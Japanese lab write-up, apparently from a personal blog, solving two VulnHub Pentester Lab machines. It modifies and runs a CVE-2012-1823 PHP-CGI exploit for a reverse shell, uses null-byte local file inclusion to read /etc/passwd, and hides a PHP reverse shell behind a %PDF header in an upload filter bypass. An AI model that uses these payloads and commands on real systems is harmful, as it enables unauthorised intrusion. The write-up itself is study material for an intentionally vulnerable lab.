http://10.10.10.16/favicon.ico (Status: 200) http://10.10.10.16/index.php (Status: 200) http://10.10.10.16/index (Status: 200) http://10.10.10.16/patch (Status: 200) http://10.10.10.16/server-status (Status: 403)
gobusterに乗り換えた。
パット見で目ぼしいものはない。
exploitを確認したところ
# searchsploit apache 2.2. ------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------ --------------------------------- Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
これが出てくる。
以前刺さったときは、「/cgi-bin/」が無いとダメだった気がするのだが。
これが「cve-2012-1823」に当たるもののようだ。
試してみる。
# searchsploit -m 29290 29316
しかし、どちらも刺さらず。
そもそも「/cgi-bin/」が無いのにそこにアクセスさせても意味が無いでしょ。
もしかして、「server-status」があるディレクトリでcgiが動いてると考えればいけるか?
29290.c
のアクセス先の配列を弄ってみた。
373 interpreters[0] = strdup("/cgi-bin/php"); 374 interpreters[1] = strdup("/cgi-bin/php5"); 375 interpreters[2] = strdup("/cgi-bin/php-cgi"); 376 interpreters[3] = strdup("/cgi-bin/php.cgi"); 377 interpreters[4] = strdup(""); //ココ変更
そうして実行すると、
# ./exploit --target 10.10.10.16 --port 80 --protocol http --reverse-ip 10.10.10.3 --reverse-port 8080
ncで待っていたport 8080に帰ってきた!
shell getchu!
after shell getchu
PLのシリーズは脆弱性を学ぶ資料だと思っているのでrootまではいかない。
終わり
- 以前もcgi-bin刺さりそうで刺さらなかったのはアクセス先の所為だったのありそう。
vulnhub Pentester Lab: PHP Include And Post Exploitation 雑記
Pentester Lab: PHP Include And Post Exploitation
イメージはライブ起動で読み込むので、ストレージは適当に小さいやつで良い。
サービス調査
# nmap -p- 10.10.10.15 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-16 11:27 EDT Nmap scan report for 10.10.10.15 Host is up (0.00055s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:DD:06:9A (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 164.23 seconds # nmap -p80 -sV 10.10.10.15 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-16 11:30 EDT Nmap scan report for 10.10.10.15 Host is up (0.00057s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.16 ((Debian)) MAC Address: 08:00:27:DD:06:9A (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.78 seconds
今回は素直に[port 80]だけ考えれば良い。
詳細
[port 80] http Apache httpd 2.2.16 (Debian)
# nikto -h 10.10.10.15 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.15 + Target Hostname: 10.10.10.15 + Target Port: 80 + Start Time: 2020-05-16 11:27:43 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.16 (Debian) + Retrieved x-powered-by header: PHP/5.3.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1". + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + /index.php: PHP include error may indicate local or remote file inclusion is possible. + OSVDB-3126: /submit?setoption=q&option=allowed_ips&value=255.255.255.255: MLdonkey 2.x allows administrative interface access to be access from any IP. This is typically only found on port 4080. + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-3268: /css/: Directory indexing found. + OSVDB-3092: /css/: This might be interesting... + OSVDB-3092: /login/: This might be interesting... + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /images/: Directory indexing found. + Server may leak inodes via ETags, header found with file /icons/README, inode: 3440, size: 5108, mtime: Tue Aug 28 06:48:10 2007 + OSVDB-3233: /icons/README: Apache default file found. + /login.php: Admin login page/section found. + 8673 requests: 0 error(s) and 23 item(s) reported on remote host + End Time: 2020-05-16 11:28:12 (GMT-4) (29 seconds) --------------------------------------------------------------------------- + 1 host(s) tested # dirb http://10.10.10.15 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat May 16 11:28:34 2020 URL_BASE: http://10.10.10.15/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.15/ ---- + http://10.10.10.15/cgi-bin/ (CODE:403|SIZE:287) ==> DIRECTORY: http://10.10.10.15/classes/ ==> DIRECTORY: http://10.10.10.15/css/ + http://10.10.10.15/footer (CODE:200|SIZE:182) + http://10.10.10.15/header (CODE:200|SIZE:755) ==> DIRECTORY: http://10.10.10.15/images/ + http://10.10.10.15/index (CODE:200|SIZE:2020) + http://10.10.10.15/index.php (CODE:200|SIZE:2020) + http://10.10.10.15/login (CODE:200|SIZE:463) + http://10.10.10.15/main (CODE:200|SIZE:938) + http://10.10.10.15/server-status (CODE:403|SIZE:292) + http://10.10.10.15/show (CODE:200|SIZE:816) + http://10.10.10.15/submit (CODE:200|SIZE:832) ==> DIRECTORY: http://10.10.10.15/uploads/ ---- Entering directory: http://10.10.10.15/classes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.15/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.15/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.15/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat May 16 11:28:36 2020 DOWNLOADED: 4612 - FOUND: 10
php_include_and_post_exploitationって題しているので、そんな感じする部分から見ていきたい。
そんで見ていくとindex.phpからのリンクや表示されているものが、全てindex.phpのpageに入れた文字列に「.php」を付けたファイルを読み込んでいることが分かった。
何か、色々資格情報狙えそうだな。
NULLバイトトリックというのを聞いたので使ってみる。
http://10.10.10.15/index.php?page=../../../etc/passwd%00
資格情報は捉えた。
リモートファイルを読み込めるパターンもあるらしいが
http://10.10.10.15/index.php?page=http://10.10.10.3/reverse.php%00
今回はリモートファイルのインクルードは対策済みの模様。
ではローカルファイルしかない。
submitページからファイルが「/uploads/」にアップロードできそう。
いつものpentestmonkeyのリバシェphpとかアップロード試してみるとpdfしかだめだと言われる。
色々試すと、pdf以外のファイルで*.pdfの場合はダメ、pdfでpdf以外の拡張子だとダメだった。
サーバ側で拡張子のチェックと、ファイルタイプのチェックが行われてそう
ということで、こんな感じでいく。
# cp /usr/share/webshells/php/php-reverse-shell.php reverse.pdf # sed -i "1i%PDF-1.5\n" reverse.pdf # cat reverse.pdf | head %PDF-1.5 <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool.
そんなんで良いのって思うかもしれないけれど、最初しかみてないぽい
あとは、ncとかでlistenしながら、pageでphpファイルとして読み込んでしまうindex.phpのお力を借りればOK
http://10.10.10.15/index.php?page=./uploads/reverse.pdf%00
# nc -nlvp 8080 Ncat: Version 7.80 ( https://nmap.org/ncat ) (snip) Linux debian 2.6.32-5-amd64 #1 SMP Thu Mar 22 17:26:33 UTC 2012 x86_64 GNU/Linux 16:39:46 up 5:00, 6 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty2 11:39 5:00m 0.00s 0.00s -bash user tty3 11:39 5:00m 0.01s 0.01s -bash user tty4 11:39 5:00m 0.00s 0.00s -bash user tty5 11:39 5:00m 0.00s 0.00s -bash user tty6 11:39 5:00m 0.00s 0.00s -bash user tty1 11:39 5:00m 0.01s 0.00s -bash uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: can't access tty; job control turned off
shell getchu!
after shell getchu
これrootシェルへの道は用意されてないぽい。
まあ、php_include_and_post_exploitationを学ぶものだったというわけですね。
終わり
PHP 5.3.4以降では、ローカルファイルをインクルードするときにNULLバイトトリックを使用して拡張機能を取り除くことができません。
らしいです。
参考